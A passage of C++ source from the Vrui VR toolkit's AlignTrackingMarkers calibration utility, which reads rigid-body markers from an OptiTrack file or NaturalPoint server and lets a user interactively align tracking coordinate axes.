/* Open a connection to the NaturalPoint server: */
NaturalPointClient npc(naturalPointServerName,1510,"224.0.0.1",1511);
std::cout<<"Server name: "<<npc.getServerName()<<std::endl;
std::cout<<"Server version: "<<npc.getServerVersion()[0]<<'.'<<npc.getServerVersion()[1]<<'.'<<npc.getServerVersion()[2]<<'.'<<npc.getServerVersion()[3]<<std::endl;
std::cout<<"Protocol version: "<<npc.getProtocolVersion()[0]<<'.'<<npc.getProtocolVersion()[1]<<'.'<<npc.getProtocolVersion()[2]<<'.'<<npc.getProtocolVersion()[3]<<std::endl;
/* Track the requested rigid body for a number of frames to calculate average relative marker positions: */
std::cout<<"Please show the rigid body with ID "<<rigidBodyId<<" to the OptiTrack system"<<std::endl;
unsigned int numFrames=0;
std::vector<NaturalPointClient::Point> initialMarkers;
std::vector<NaturalPointClient::Point::AffineCombiner> markerCombiners;
while(numFrames<50)
{
/* Wait for the next frame from the NaturalPoint engine: */
const NaturalPointClient::Frame& frame=npc.waitForNextFrame();
/* Check if the frame contains the requested rigid body: */
for(std::vector<NaturalPointClient::RigidBody>::const_iterator rbIt=frame.rigidBodies.begin();rbIt!=frame.rigidBodies.end();++rbIt)
if(rbIt->id==rigidBodyId)
{
/* Check if this is the first frame: */
if(numFrames==0)
{
std::cout<<"Found rigid body "<<rigidBodyId<<", capturing frames..."<<std::flush;
for(std::vector<NaturalPointClient::Point>::const_iterator mIt=rbIt->markers.begin();mIt!=rbIt->markers.end();++mIt)
{
/* Transform the marker to rigid body coordinates: */
NaturalPointClient::Point m=NaturalPointClient::Point::origin+rbIt->orientation.inverseTransform(*mIt-rbIt->position);
/* Store the initial marker position and create an accumulator: */
initialMarkers.push_back(m);
markerCombiners.push_back(NaturalPointClient::Point::AffineCombiner());
}
}
/* Find the best match for each marker in the initial configuration and accumulate their positions: */
for(std::vector<NaturalPointClient::Point>::const_iterator mIt=rbIt->markers.begin();mIt!=rbIt->markers.end();++mIt)
{
/* Transform the marker to rigid body coordinates: */
NaturalPointClient::Point m=NaturalPointClient::Point::origin+rbIt->orientation.inverseTransform(*mIt-rbIt->position);
/* Find the best-matching initial marker: */
size_t bestIndex=0;
NaturalPointClient::Scalar bestDist2=Geometry::sqrDist(m,initialMarkers[0]);
for(size_t i=1;i<initialMarkers.size();++i)
{
NaturalPointClient::Scalar dist2=Geometry::sqrDist(m,initialMarkers[i]);
if(bestDist2>dist2)
{
bestIndex=i;
bestDist2=dist2;
}
}
/* Accumulate the point: */
markerCombiners[bestIndex].addPoint(m);
}
++numFrames;
}
}
std::cout<<" done"<<std::endl;
/* Store the averaged marker positions: */
for(std::vector<NaturalPointClient::Point::AffineCombiner>::iterator mcIt=markerCombiners.begin();mcIt!=markerCombiners.end();++mcIt)
{
Geometry::Point<double,3> m;
for(int i=0;i<3;++i)
m[i]=double(mcIt->getPoint()[i])*scale;
if(flipZ)
m[2]=-m[2];
markers.push_back(m);
}
}
}
class AlignTrackingMarkers:public Vrui::Application
{
/* Embedded classes: */
private:
typedef double Scalar;
typedef Geometry::Point<Scalar,3> Point;
typedef Geometry::Vector<Scalar,3> Vector;
typedef Geometry::OrthonormalTransformation<Scalar,3> ONTransform;
typedef Geometry::Ray<Scalar,3> Ray;
typedef std::vector<Point> PointList;
typedef std::pair<Point,Point> Line;
typedef std::vector<Line> LineList;
class MarkerTool;
typedef Vrui::GenericToolFactory<MarkerTool> MarkerToolFactory;
class MarkerTool:public Vrui::Tool,public Vrui::Application::Tool<AlignTrackingMarkers>
{
friend class Vrui::GenericToolFactory<MarkerTool>;
/* Elements: */
private:
static MarkerToolFactory* factory;
GLMotif::PopupWindow* dialogPopup; // Marker tool's measurement dialog box
GLMotif::TextField* pos[2][3]; // Current position text fields
GLMotif::TextField* dist; // Current distance text field
bool dragging; // Flag whether the tool is currently dragging a line or the origin
Point start; // Starting point of the currently dragged line
Point current; // Current end point of currently dragged line
/* Constructors and destructors: */
public:
MarkerTool(const Vrui::ToolFactory* sFactory,const Vrui::ToolInputAssignment& inputAssignment);
virtual ~MarkerTool(void);
/* Methods from class Vrui::Tool: */
virtual const Vrui::ToolFactory* getFactory(void) const
{
return factory;
}
virtual void buttonCallback(int buttonSlotIndex,Vrui::InputDevice::ButtonCallbackData* cbData);
virtual void frame(void);
virtual void display(GLContextData& contextData) const;
};
/* Elements: */
private:
ONTransform transform; // Transformation from original coordinate system to aligned coordinate system
Scalar axisLength; // Length for the initial coordinate axes
Scalar markerSize; // Size to draw markers in scaled local tracker coordinates
Scalar lineSize; // Size to draw lines in scaled local tracker coordinates
PointList markers; // List of marker positions in scaled local tracker coordinates
LineList lines; // List of lines used to define coordinate axes
GLMotif::PopupMenu* mainMenuPopup; // The program's main menu
bool moveOrigin; // Flag whether marker tools will move the transformation's origin
/* Private methods: */
GLMotif::PopupMenu* createMainMenu(void); // Creates the program's main menu
/* Constructors and destructors: */
public:
AlignTrackingMarkers(int& argc,char**& argv,char**& appDefaults);
virtual ~AlignTrackingMarkers(void);
/* Methods from class Vrui::Application: */
virtual void display(GLContextData& contextData) const;
/* New methods: */
Point snap(const Point& p) const; // Snaps a 3D point to the existing markers/lines
Point snap(const Ray& ray) const; // Snaps a 3D ray to the existing markers/lines
Point snap(const Point& start,const Point& p) const; // Snaps a 3D point to the existing markers/lines, with line start point for angle snapping
Point snap(const Point& start,const Ray& ray) const; // Snaps a 3D ray to the existing markers/lines, with line start point for angle snapping
void addLine(const Point& p1,const Point& p2); // Adds a line to the list
void setOrigin(const Point& p); // Sets the current coordinate system's origin
void removeLastLineCallback(Misc::CallbackData* cbData); // Removes the most recently added line
void alignXAxisCallback(Misc::CallbackData* cbData); // Aligns the X axis to the most recently added line
void alignNegXAxisCallback(Misc::CallbackData* cbData); // Aligns the negative X axis to the most recently added line
void alignYAxisCallback(Misc::CallbackData* cbData); // Aligns the Y axis to the most recently added line
void alignNegYAxisCallback(Misc::CallbackData* cbData); // Aligns the negative Y axis to the most recently added line
void alignZAxisCallback(Misc::CallbackData* cbData); // Aligns the Z axis to the most recently added line
void alignNegZAxisCallback(Misc::CallbackData* cbData); // Aligns the negative Z axis to the most recently added line
void moveOriginCallback(GLMotif::ToggleButton::ValueChangedCallbackData* cbData); // Moves the origin of the coordinate system
};
/*********************************************************
Static elements of class AlignTrackingMarkers::MarkerTool:
*********************************************************/
AlignTrackingMarkers::MarkerToolFactory* AlignTrackingMarkers::MarkerTool::factory=0;
/*************************************************
Methods of class AlignTrackingMarkers::MarkerTool:
*************************************************/
AlignTrackingMarkers::MarkerTool::MarkerTool(const Vrui::ToolFactory* sFactory,const Vrui::ToolInputAssignment& inputAssignment)
:Vrui::Tool(sFactory,inputAssignment),
dialogPopup(0),
dragging(false)
{
/* Create the measurement dialog: */
dialogPopup=new GLMotif::PopupWindow("DialogPopup",Vrui::getWidgetManager(),"Marker Measurements");
dialogPopup->setResizableFlags(true,false);
GLMotif::RowColumn* dialog=new GLMotif::RowColumn("Dialog",dialogPopup,false);
dialog->setNumMinorWidgets(2);
new GLMotif::Label("Pos1Label",dialog,"Point 1");
GLMotif::RowColumn* pos1Box=new GLMotif::RowColumn("Pos1Box",dialog,false);
pos1Box->setOrientation(GLMotif::RowColumn::HORIZONTAL);
pos1Box->setPacking(GLMotif::RowColumn::PACK_GRID);
for(int i=0;i<3;++i)
{
char labelName[40];
snprintf(labelName,sizeof(labelName),"Pos1-%d",i+1);
pos[0][i]=new GLMotif::TextField(labelName,pos1Box,12);
pos[0][i]->setPrecision(6);
}
pos1Box->manageChild();
new GLMotif::Label("Pos2Label",dialog,"Point 2");
GLMotif::RowColumn* pos2Box=new GLMotif::RowColumn("Pos2Box",dialog,false);
pos2Box->setOrientation(GLMotif::RowColumn::HORIZONTAL);
pos2Box->setPacking(GLMotif::RowColumn::PACK_GRID);
for(int i=0;i<3;++i)
{
char labelName[40];
snprintf(labelName,sizeof(labelName),"Pos2-%d",i+1);
pos[1][i]=new GLMotif::TextField(labelName,pos2Box,12);
pos[1][i]->setPrecision(6);
}
pos2Box->manageChild();
new GLMotif::Label("DistLabel",dialog,"Distance");
GLMotif::RowColumn* distBox=new GLMotif::RowColumn("DistBox",dialog,false);
distBox->setOrientation(GLMotif::RowColumn::HORIZONTAL);
distBox->setPacking(GLMotif::RowColumn::PACK_GRID);
dist=new GLMotif::TextField("Dist",distBox,16);
dist->setPrecision(10);
new GLMotif::Blind("Blind",distBox);
distBox->manageChild();
dialog->manageChild();
/* Pop up the measurement dialog: */
Vrui::popupPrimaryWidget(dialogPopup);
}
AlignTrackingMarkers::MarkerTool::~MarkerTool(void)
{
/* Pop down and destroy the measurement dialog: */
Vrui::popdownPrimaryWidget(dialogPopup);
delete dialogPopup;
}
void AlignTrackingMarkers::MarkerTool::buttonCallback(int,Vrui::InputDevice::ButtonCallbackData* cbData)
{
if(cbData->newButtonState)
{
/* Begin dragging a line or moving the origin: */
start=current;
/* Clear the measurement dialog: */
Point s=application->transform.inverseTransform(start);
for(int i=0;i<3;++i)
{
pos[0][i]->setValue(double(s[i]));
pos[1][i]->setString("");
}
dist->setString("");
dragging=true;
}
else
{
if(!application->moveOrigin)
{
/* Stop dragging the current line: */
application->addLine(start,current);
}
dragging=false;
}
}
void AlignTrackingMarkers::MarkerTool::frame(void)
{
/* Get pointer to input device that caused the event: */
Vrui::InputDevice* device=getButtonDevice(0);
/* Snap the current input device to the existing marker set: */
Vrui::NavTrackerState transform=Vrui::getDeviceTransformation(device);
if(device->isRayDevice())
{
if(dragging)
current=application->snap(start,Ray(transform.getOrigin(),transform.transform(device->getDeviceRayDirection())));
else
current=application->snap(Ray(transform.getOrigin(),transform.transform(device->getDeviceRayDirection())));
}
else
{
if(dragging)
current=application->snap(start,transform.getOrigin());
else
current=application->snap(transform.getOrigin());
}
/* Update the measurement dialog: */
Point c=application->transform.inverseTransform(current);
if(dragging&&!application->moveOrigin)
{
for(int i=0;i<3;++i)
pos[1][i]->setValue(double(c[i]));
dist->setValue(double(Geometry::dist(start,current)));
}
else
{
for(int i=0;i<3;++i)
pos[0][i]->setValue(double(c[i]));
}
if(dragging&&application->moveOrigin)
application->setOrigin(current);
}
void AlignTrackingMarkers::MarkerTool::display(GLContextData& contextData) const
{
if(dragging&&!application->moveOrigin)
{
/* Draw the currently dragged line: */
glPushAttrib(GL_ENABLE_BIT|GL_LINE_BIT);
glDisable(GL_LIGHTING);
glLineWidth(1.0f);
glPushMatrix();
glMultMatrix(Vrui::getNavigationTransformation());
glBegin(GL_LINES);
glColor3f(1.0f,0.0f,0.0f);
glVertex(start);
glVertex(current);
glEnd();
glPopMatrix();
glPopAttrib();
}
}
/*************************************
Methods of class AlignTrackingMarkers:
*************************************/
GLMotif::PopupMenu* AlignTrackingMarkers::createMainMenu(void)
{
/* Create a popup shell to hold the main menu: */
GLMotif::PopupMenu* mainMenuPopup=new GLMotif::PopupMenu("MainMenuPopup",Vrui::getWidgetManager());
mainMenuPopup->setTitle("Marker Alignment");
/* Create the main menu itself: */
GLMotif::Menu* mainMenu=new GLMotif::Menu("MainMenu",mainMenuPopup,false);
/* Create the menu buttons: */
GLMotif::Button* removeLastLineButton=new GLMotif::Button("RemoveLastLineButton",mainMenu,"Remove Last Line");
removeLastLineButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::removeLastLineCallback);
GLMotif::Button* alignXAxisButton=new GLMotif::Button("AlignXAxisButton",mainMenu,"Align X Axis");
alignXAxisButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::alignXAxisCallback);
GLMotif::Button* alignNegXAxisButton=new GLMotif::Button("AlignNegXAxisButton",mainMenu,"Align -X Axis");
alignNegXAxisButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::alignNegXAxisCallback);
GLMotif::Button* alignYAxisButton=new GLMotif::Button("AlignYAxisButton",mainMenu,"Align Y Axis");
alignYAxisButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::alignYAxisCallback);
GLMotif::Button* alignNegYAxisButton=new GLMotif::Button("AlignNegYAxisButton",mainMenu,"Align -Y Axis");
alignNegYAxisButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::alignNegYAxisCallback);
GLMotif::Button* alignZAxisButton=new GLMotif::Button("AlignZAxisButton",mainMenu,"Align Z Axis");
alignZAxisButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::alignZAxisCallback);
GLMotif::Button* alignNegZAxisButton=new GLMotif::Button("AlignNegZAxisButton",mainMenu,"Align -Z Axis");
alignNegZAxisButton->getSelectCallbacks().add(this,&AlignTrackingMarkers::alignNegZAxisCallback);
GLMotif::ToggleButton* moveOriginToggle=new GLMotif::ToggleButton("MoveOriginToggle",mainMenu,"Move Origin");
moveOriginToggle->getValueChangedCallbacks().add(this,&AlignTrackingMarkers::moveOriginCallback);
/* Finish building the main menu: */
mainMenu->manageChild();
return mainMenuPopup;
}
AlignTrackingMarkers::AlignTrackingMarkers(int& argc,char**& argv,char**& appDefaults)
:Vrui::Application(argc,argv,appDefaults),
transform(ONTransform::identity),
markerSize(Scalar(Vrui::getInchFactor())*Scalar(0.25)),
lineSize(markerSize/Scalar(3)),
mainMenuPopup(0),
moveOrigin(false)
{
/* Create and register the marker tool class: */
MarkerToolFactory* markerToolFactory=new MarkerToolFactory("MarkerTool","Marker Selector",0,*Vrui::getToolManager());
markerToolFactory->setNumButtons(1);
markerToolFactory->setButtonFunction(0,"Select Markers");
Vrui::getToolManager()->addClass(markerToolFactory,Vrui::ToolManager::defaultToolFactoryDestructor);
/* Parse the command line: */
const char* fileName=0;
const char* bodyName=0;
const char* naturalPointServerName=0;
int naturalPointRigidBodyId=-1;
Scalar scale=Scalar(1);
bool flipZ=false;
for(int i=1;i<argc;++i)
{
if(argv[i][0]=='-')
{
if(strcasecmp(argv[i]+1,"size")==0)
{
++i;
markerSize=Scalar(atof(argv[i]));
}
else if(strcasecmp(argv[i]+1,"scale")==0)
{
++i;
scale=Scalar(atof(argv[i]));
}
else if(strcasecmp(argv[i]+1,"inches")==0)
{
/* Set scale factor from meters to inches: */
scale=Scalar(1000)/Scalar(25.4);
}
else if(strcasecmp(argv[i]+1,"flipZ")==0)
flipZ=true;
else if(strcasecmp(argv[i]+1,"npc")==0)
{
++i;
naturalPointServerName=argv[i];
++i;
naturalPointRigidBodyId=atoi(argv[i]);
}
}
else if(fileName==0)
fileName=argv[i];
else
bodyName=argv[i];
}
if((fileName==0||bodyName==0)&&(naturalPointServerName==0||naturalPointRigidBodyId==-1))
{
std::cerr<<"Usage: "<<argv[0]<<" ( <rigid body definition file name> <rigid body name> ) | ( -npc <NaturalPoint server name> <rigid body ID> ) [-scale <unit scale factor>] [-inches] [-flipZ] [-size <marker size>]"<<std::endl;
Misc::throwStdErr("AlignTrackingMarkers::AlignTrackingMarkers: No file name and rigid body name or NaturalPoint server name and rigid body ID provided");
}
if(fileName!=0&&bodyName!=0)
{
/* Determine the marker file name's extension: */
const char* extPtr=0;
for(const char* fnPtr=fileName;*fnPtr!='\0';++fnPtr)
if(*fnPtr=='.')
extPtr=fnPtr;
/* Read the marker file: */
if(extPtr!=0&&strcasecmp(extPtr,".rdef")==0)
readOptiTrackMarkerFile(fileName,bodyName,scale,flipZ,markers);
else
Misc::throwStdErr("AlignTrackingMarkers::AlignTrackingMarkers: marker file %s has unrecognized extension",fileName);
}
else
{
/* Get a rigid body definition from the NaturalPoint server: */
queryRigidBody(naturalPointServerName,naturalPointRigidBodyId,scale,flipZ,markers);
}
/* Create the main menu: */
mainMenuPopup=createMainMenu();
Vrui::setMainMenu(mainMenuPopup);
/* Initialize the navigation transformation: */
Point::AffineCombiner centroidC;
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt)
centroidC.addPoint(*mIt);
Point centroid=centroidC.getPoint();
Scalar maxSqrDist=Scalar(0);
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt)
{
Scalar sqrDist=Geometry::sqrDist(centroid,*mIt);
if(maxSqrDist<sqrDist)
maxSqrDist=sqrDist;
}
axisLength=Math::sqrt(maxSqrDist)*Scalar(2);
Vrui::setNavigationTransformation(centroid,axisLength);
}
AlignTrackingMarkers::~AlignTrackingMarkers(void)
{
/* Print the updated transformation: */
std::cout<<"Final transformation: "<<Misc::ValueCoder<ONTransform>::encode(transform)<<std::endl;
/* Delete the main menu: */
delete mainMenuPopup;
}
void AlignTrackingMarkers::display(GLContextData& contextData) const
{
/* Set up OpenGL state: */
glPushAttrib(GL_ENABLE_BIT|GL_LINE_BIT);
glDisable(GL_LIGHTING);
glLineWidth(1.0f);
/* Draw the current coordinate axes: */
glPushMatrix();
glMultMatrix(transform);
glBegin(GL_LINES);
glColor3f(1.0f,0.0f,0.0f);
glVertex3f(-axisLength,0.0f,0.0f);
glVertex3f( axisLength,0.0f,0.0f);
glColor3f(0.0f,1.0f,0.0f);
glVertex3f(0.0f,-axisLength,0.0f);
glVertex3f(0.0f, axisLength,0.0f);
glColor3f(0.0f,0.0f,1.0f);
glVertex3f(0.0f,0.0f,-axisLength);
glVertex3f(0.0f,0.0f, axisLength);
glEnd();
glPopMatrix();
glEnable(GL_LIGHTING);
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);
glMaterial(GLMaterialEnums::FRONT,GLMaterial(GLMaterial::Color(1.0f,1.0f,1.0f),GLMaterial::Color(1.0f,1.0f,1.0f),25.0f));
static const GLColor<GLfloat,3> markerColors[8]=
{
GLColor<GLfloat,3>(0.75f,0.25f,0.25f),
GLColor<GLfloat,3>(0.25f,0.75f,0.25f),
GLColor<GLfloat,3>(0.25f,0.25f,0.75f),
GLColor<GLfloat,3>(0.75f,0.75f,0.25f),
GLColor<GLfloat,3>(0.25f,0.75f,0.75f),
GLColor<GLfloat,3>(0.75f,0.25f,0.75f),
GLColor<GLfloat,3>(0.33f,0.33f,0.33f),
GLColor<GLfloat,3>(0.67f,0.67f,0.67f)
};
glEnable(GL_COLOR_MATERIAL);
glColorMaterial(GL_FRONT,GL_AMBIENT_AND_DIFFUSE);
/* Draw all markers: */
int colorIndex=0;
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt,++colorIndex)
{
glPushMatrix();
glTranslate(*mIt-Point::origin);
glColor(markerColors[colorIndex%8]);
glDrawSphereIcosahedron(markerSize,4);
glPopMatrix();
}
/* Draw all lines: */
for(LineList::const_iterator lIt=lines.begin();lIt!=lines.end();++lIt)
{
Point p1=lIt->first;
Point p2=lIt->second;
Vector axis=p2-p1;
Scalar height=Geometry::mag(axis);
axis/=height;
Vector x=Geometry::normal(axis);
x.normalize();
Vector y=Geometry::cross(axis,x);
y.normalize();
glBegin(GL_QUAD_STRIP);
glColor3f(0.5f,0.5f,0.5f);
for(int i=0;i<=12;++i)
{
Scalar angle=Scalar(2)*Math::Constants<Scalar>::pi*Scalar(i)/Scalar(12);
Vector normal=x*Math::cos(angle)+y*Math::sin(angle);
glNormal(normal);
glVertex(p2+normal*lineSize);
glVertex(p1+normal*lineSize);
}
glEnd();
}
/* Reset OpenGL state: */
glPopAttrib();
}
AlignTrackingMarkers::Point AlignTrackingMarkers::snap(const AlignTrackingMarkers::Point& p) const
{
Point bestPoint=p;
Scalar bestSqrDist=Math::sqr(markerSize);
/* Compare the point against all lines: */
for(LineList::const_iterator lIt=lines.begin();lIt!=lines.end();++lIt)
{
Point p1=lIt->first;
Point p2=lIt->second;
Vector axis=p2-p1;
Scalar height=Geometry::mag(axis);
axis/=height;
Scalar sqrDist=Scalar(0);
Vector pp1=p-p1;
Scalar along=pp1*axis;
if(along<Scalar(0))
sqrDist+=Math::sqr(along);
else if(along>height)
sqrDist+=Math::sqr(along-height);
sqrDist+=Geometry::sqr(pp1)-Math::sqr(along);
sqrDist*=Scalar(9);
if(sqrDist<bestSqrDist)
{
if(along<=Scalar(0))
bestPoint=p1;
else if(along>=height)
bestPoint=p2;
else
bestPoint=p1+axis*along;
bestSqrDist=sqrDist;
}
}
/* Compare the point against all markers: */
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt)
{
Scalar sqrDist=Geometry::sqrDist(*mIt,p);
if(sqrDist<bestSqrDist)
{
bestPoint=*mIt;
bestSqrDist=sqrDist;
}
}
return bestPoint;
}
AlignTrackingMarkers::Point AlignTrackingMarkers::snap(const AlignTrackingMarkers::Ray& ray) const
{
Point bestPoint=ray.getOrigin();
Scalar bestLambda=Math::Constants<Scalar>::max;
/* Compare the ray against all lines: */
for(LineList::const_iterator lIt=lines.begin();lIt!=lines.end();++lIt)
{
Geometry::Cylinder<Scalar,3> cylinder(lIt->first,lIt->second,lineSize);
Geometry::Cylinder<Scalar,3>::HitResult hr=cylinder.intersectRay(ray);
if(hr.isValid()&&hr.getParameter()<bestLambda)
{
bestPoint=cylinder.getP1()+cylinder.getAxis()*((ray(hr.getParameter())-cylinder.getP1())*cylinder.getAxis());
bestLambda=hr.getParameter();
}
}
/* Compare the ray against all markers: */
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt)
{
Geometry::Sphere<Scalar,3> sphere(*mIt,markerSize);
Geometry::Sphere<Scalar,3>::HitResult hr=sphere.intersectRay(ray);
if(hr.isValid()&&hr.getParameter()<bestLambda)
{
bestPoint=*mIt;
bestLambda=hr.getParameter();
}
}
return bestPoint;
}
AlignTrackingMarkers::Point AlignTrackingMarkers::snap(const AlignTrackingMarkers::Point& start,const AlignTrackingMarkers::Point& p) const
{
Point bestPoint=p;
Scalar bestSqrDist=Math::sqr(markerSize);
/* Compare the point against all lines: */
for(LineList::const_iterator lIt=lines.begin();lIt!=lines.end();++lIt)
{
Point p1=lIt->first;
Point p2=lIt->second;
Vector axis=p2-p1;
Scalar height=Geometry::mag(axis);
axis/=height;
Scalar sqrDist=Scalar(0);
Vector pp1=p-p1;
Scalar along=pp1*axis;
if(along<Scalar(0))
sqrDist+=Math::sqr(along);
else if(along>height)
sqrDist+=Math::sqr(along-height);
sqrDist+=Geometry::sqr(pp1)-Math::sqr(along);
sqrDist*=Scalar(9);
if(sqrDist<bestSqrDist)
{
if(along<=Scalar(0))
bestPoint=p1;
else if(along>=height)
bestPoint=p2;
else
bestPoint=p1+axis*along;
/* Check if the two lines' angles should be snapped to a right angle: */
Vector line=start-bestPoint;
Scalar cosAngle=(axis*line)/Geometry::mag(line);
if(Math::abs(cosAngle)<Math::cos(Math::rad(Scalar(85))))
bestPoint=p1+axis*((start-p1)*axis);
bestSqrDist=sqrDist;
}
}
/* Compare the point against all markers: */
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt)
{
Scalar sqrDist=Geometry::sqrDist(*mIt,p);
if(sqrDist<bestSqrDist)
{
bestPoint=*mIt;
bestSqrDist=sqrDist;
}
}
return bestPoint;
}
AlignTrackingMarkers::Point AlignTrackingMarkers::snap(const AlignTrackingMarkers::Point& start,const AlignTrackingMarkers::Ray& ray) const
{
Point bestPoint=ray.getOrigin();
Scalar bestLambda=Math::Constants<Scalar>::max;
/* Compare the ray against all lines: */
for(LineList::const_iterator lIt=lines.begin();lIt!=lines.end();++lIt)
{
Geometry::Cylinder<Scalar,3> cylinder(lIt->first,lIt->second,lineSize);
Geometry::Cylinder<Scalar,3>::HitResult hr=cylinder.intersectRay(ray);
if(hr.isValid()&&hr.getParameter()<bestLambda)
{
bestPoint=cylinder.getP1()+cylinder.getAxis()*((ray(hr.getParameter())-cylinder.getP1())*cylinder.getAxis());
/* Check if the two lines' angles should be snapped to a right angle: */
Vector line=start-bestPoint;
Scalar cosAngle=(cylinder.getAxis()*line)/Geometry::mag(line);
if(Math::abs(cosAngle)<Math::cos(Math::rad(Scalar(85))))
bestPoint=cylinder.getP1()+cylinder.getAxis()*((start-cylinder.getP1())*cylinder.getAxis());
bestLambda=hr.getParameter();
}
}
/* Compare the ray against all markers: */
for(PointList::const_iterator mIt=markers.begin();mIt!=markers.end();++mIt)
{
Geometry::Sphere<Scalar,3> sphere(*mIt,markerSize);
Geometry::Sphere<Scalar,3>::HitResult hr=sphere.intersectRay(ray);
if(hr.isValid()&&hr.getParameter()<bestLambda)
{
bestPoint=*mIt;
bestLambda=hr.getParameter();
}
}
return bestPoint;
}
void AlignTrackingMarkers::addLine(const AlignTrackingMarkers::Point& p1,const AlignTrackingMarkers::Point& p2)
{
/* Store the line: */
lines.push_back(std::make_pair(p1,p2));
Vrui::requestUpdate();
}
void AlignTrackingMarkers::setOrigin(const AlignTrackingMarkers::Point& p)
{
transform.leftMultiply(ONTransform::translate(p-transform.getOrigin()));
transform.renormalize();
Vrui::requestUpdate();
}
void AlignTrackingMarkers::removeLastLineCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
lines.pop_back();
Vrui::requestUpdate();
}
void AlignTrackingMarkers::alignXAxisCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
{
/* Get the last line's direction in current system coordinates: */
Vector line=transform.inverseTransform(lines.back().second-lines.back().first);
/* Align the coordinate system's X axis with the line direction: */
transform*=ONTransform::rotate(ONTransform::Rotation::rotateFromTo(Vector(1,0,0),line));
transform.renormalize();
}
Vrui::requestUpdate();
}
void AlignTrackingMarkers::alignNegXAxisCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
{
/* Get the last line's direction in current system coordinates: */
Vector line=transform.inverseTransform(lines.back().second-lines.back().first);
/* Align the coordinate system's -X axis with the line direction: */
transform*=ONTransform::rotate(ONTransform::Rotation::rotateFromTo(Vector(-1,0,0),line));
transform.renormalize();
}
Vrui::requestUpdate();
}
void AlignTrackingMarkers::alignYAxisCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
{
/* Get the last line's direction in current system coordinates: */
Vector line=transform.inverseTransform(lines.back().second-lines.back().first);
/* Align the coordinate system's Y axis with the line direction: */
transform*=ONTransform::rotate(ONTransform::Rotation::rotateFromTo(Vector(0,1,0),line));
transform.renormalize();
}
Vrui::requestUpdate();
}
void AlignTrackingMarkers::alignNegYAxisCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
{
/* Get the last line's direction in current system coordinates: */
Vector line=transform.inverseTransform(lines.back().second-lines.back().first);
/* Align the coordinate system's -Y axis with the line direction: */
transform*=ONTransform::rotate(ONTransform::Rotation::rotateFromTo(Vector(0,-1,0),line));
transform.renormalize();
}
Vrui::requestUpdate();
}
void AlignTrackingMarkers::alignZAxisCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
{
/* Get the last line's direction in current system coordinates: */
Vector line=transform.inverseTransform(lines.back().second-lines.back().first);
/* Align the coordinate system's Z axis with the line direction: */
transform*=ONTransform::rotate(ONTransform::Rotation::rotateFromTo(Vector(0,0,1),line));
transform.renormalize();
}
Vrui::requestUpdate();
}
void AlignTrackingMarkers::alignNegZAxisCallback(Misc::CallbackData* cbData)
{
if(!lines.empty())
{
/* Get the last line's direction in current system coordinates: */
Vector line=transform.inverseTransform(lines.back().second-lines.back().first);
/* Align the coordinate system's -Z axis with the line direction: */
transform*=ONTransform::rotate(ONTransform::Rotation::rotateFromTo(Vector(0,0,-1),line));
transform.renormalize();
}
Vrui::requestUpdate();
}
void AlignTrackingMarkers::moveOriginCallback(GLMotif::ToggleButton::ValueChangedCallbackData* cbData)
{
moveOrigin=cbData->set;
}
/*************
Main function:
*************/
int main(int argc,char* argv[])
{
try
{
char** appDefaults=0;
AlignTrackingMarkers app(argc,argv,appDefaults);
app.run();
}
catch(std::runtime_error err)
{
std::cerr<<"Caught exception "<<err.what()<<std::endl;
return 1;
}
return 0;
}
|
VisualIdeation/Vrui-2.2-003
|
Calibration/AlignTrackingMarkers.cpp
|
C++
|
gpl-2.0
| 32,122
|